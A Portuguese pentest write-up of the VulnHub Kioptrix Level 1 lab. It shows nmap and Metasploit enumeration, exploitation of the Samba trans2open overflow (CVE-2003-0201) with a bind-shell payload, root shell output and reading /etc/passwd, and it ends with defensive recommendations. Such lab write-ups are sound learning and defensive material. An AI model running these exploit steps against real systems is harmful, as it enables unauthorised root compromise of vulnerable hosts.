pentest-writeups

Relatório do Kioptrix Level 1 - CVE-2003-0201 Samba trans2open

Kioptrix Level 1 — Relatório de Teste de Penetração

Autor: Amirbek Raxmatullayev (@americo_444)
Data: 2026-06-17
Plataforma: VulnHub
Dificuldade: Iniciante
Objetivo: Obter acesso root

1. Configuração do Ambiente

Nota: O VirtualBox era incompatível com o kernel 7.0.0-22-generic devido a um conflito de namespace DKMS KVM. Migrei para QEMU/KVM e carreguei o VMDK diretamente, sem conversão.

qemu-system-x86_64 \
  -m 512 \
  -drive file="Kioptix Level 1.vmdk",format=vmdk \
  -netdev bridge,id=net0,br=virbr0 \
  -device e1000,netdev=net0 \
  -display gtk

2. Reconhecimento

2.1 Descoberta de Hosts

nmap -sn 192.168.56.0/24

Resultado: Alvo identificado em 192.168.56.101

2.2 Varredura Completa de Portas e Serviços

nmap -sV -sC -p- 192.168.56.101

Portas Abertas:

2.3 Enumeração da Versão SMB

msfconsole -q -x "use auxiliary/scanner/smb/smb_version; \
  set RHOSTS 192.168.56.101; run; exit"

Resultado: Samba 2.2.1a — versão criticamente vulnerável confirmada.

3. Análise de Vulnerabilidade

CVE-2003-0201 — Estouro de Buffer no Samba trans2open

Descrição:
As versões 2.2.x do Samba contêm uma vulnerabilidade de estouro de buffer baseado em pilha na função trans2open. Isso permite que um atacante remoto não autenticado execute código arbitrário como root.

Versões Afetadas: Samba 2.0.x — 2.2.8
Pontuação CVSS: 10.0 (Crítico)
Módulo de Exploração: exploit/linux/samba/trans2open

4. Exploração

4.1 Configuração do Metasploit

msfconsole
use exploit/linux/samba/trans2open
set RHOSTS 192.168.56.101
set LHOST 192.168.56.1
set PAYLOAD linux/x86/shell_bind_tcp
run

Por que bind_tcp em vez de reverse_tcp?
O payload reverse_tcp falhou porque a VM Kioptrix não conseguia alcançar o atacante através da configuração NAT/bridge. Com bind_tcp, o atacante se conecta ao alvo — nenhuma conexão de saída é necessária da vítima.

4.2 Saída da Exploração

[*] Started bind TCP handler against 192.168.56.101:4444
[*] Trying return address 0xbffffdfc...
[*] Trying return address 0xbffffcfc...
...
[*] Command shell session 1 opened (192.168.56.1:36733 -> 192.168.56.101:4444)

Shell obtido! ✅

5. Pós-Exploração

whoami
# root

id
# uid=0(root) gid=0(root) groups=99(nobody)

hostname
# kioptrix.level1

uname -a
# Linux kioptrix.level1 2.4.7-10 #1 Thu Sep 6 16:46:36 EDT 2001 i686 unknown

cat /etc/passwd
# root:x:0:0:root:/root:/bin/bash
# john:x:500:500::/home/john:/bin/bash
# harold:x:500:500::/home/harold:/bin/bash

Informações do Sistema:

• SO: Red Hat Linux, Kernel 2.4.7 (compilado em 2001)
• Usuários locais descobertos: root, john, harold

6. Cadeia de Ataque

[Attacker: 192.168.56.1]
        |
        | Step 1: nmap full port scan
        v
[Target: 192.168.56.101]
        |
        | Step 2: Samba 2.2.1a identified
        v
[Metasploit — trans2open exploit]
        |
        | Step 3: Stack buffer overflow triggered
        v
[Bind shell opened on port 4444]
        |
        | Step 4: whoami = root
        v
[TARGET PWNED]

7. Principais Lições

O que aprendi:

• Configurar um ambiente de laboratório com QEMU/KVM quando o VirtualBox falha
• Identificação de serviços com nmap -sV -sC
• Enumeração SMB usando módulos auxiliares do Metasploit
• Entendimento do CVE-2003-0201 — mecânica de estouro de buffer na pilha
• Diferença entre payloads bind_tcp e reverse_tcp e quando usar cada um

Recomendações Defensivas (Equipe Azul):

1. Atualizar o Samba para a versão 3.x ou superior
2. Restringir as portas 139/445 via firewall — permitir apenas hosts internos confiáveis
3. Aplicar todas as correções disponíveis do SO e dos serviços
4. Implementar segmentação de rede — o SMB nunca deve ser exposto externamente
5. Implantar regras de IDS/IPS para detectar tentativas de estouro de buffer no SMB

8. Ferramentas Utilizadas

9. Referências

• CVE-2003-0201 — NVD
• Rapid7 — Módulo trans2open
• VulnHub — Kioptrix Level 1

Escrito por Amirbek Raxmatullayev | BEK Coders Security Research | 2026